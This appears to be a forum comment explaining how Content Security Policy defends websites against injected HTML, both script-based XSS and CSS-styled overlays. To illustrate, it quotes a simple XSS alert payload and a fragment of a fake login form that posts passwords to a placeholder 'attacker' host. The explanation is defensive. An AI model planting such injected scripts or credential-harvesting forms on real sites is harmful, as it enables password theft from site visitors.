CSP is mainly a defense against arbitrary HTML getting injected into your website via poor validation, buggy scripts, etc. It&#x27;s not a replacement for validation, but it&#x27;s a failsafe when there&#x27;s inevitably a bug. So the purpose of CSP is to block regular XSS like &lt;script&gt;alert(&quot;XSS!&quot;);&lt;&#x2F;script&gt;, and anything that works similarly. This isn&#x27;t saying that inline script tags are a security vulnerability per se, just that they&#x27;re a tool an attacker can use. CSP then also allows you to restrict &lt;script src=&quot;...&quot;&gt; tags to trusted origins.<p>The same argument applies for CSS. If an attacker manages to output arbitrary HTML on your web page via some bug, they can add their own login form with &lt;div style=&quot;position: fixed; ...&quot;&gt;&lt;form action=&quot;<a href="https:&#x2F;&#x2F;attacker&#x2F;&quot;&gt;" rel="nofollow">https:&#x2F;&#x2F;attacker&#x2F;&quot;&gt;</a> and harvest passwords this way. So CSP blocks that too. Again, this isn&#x27;t because writing a form that way is a security vulnerability, but because if you&#x27;ve opted into CSP, you&#x27;re stating that you&#x27;re not writing forms this way so that you can enable these XSS and clickjacking protections.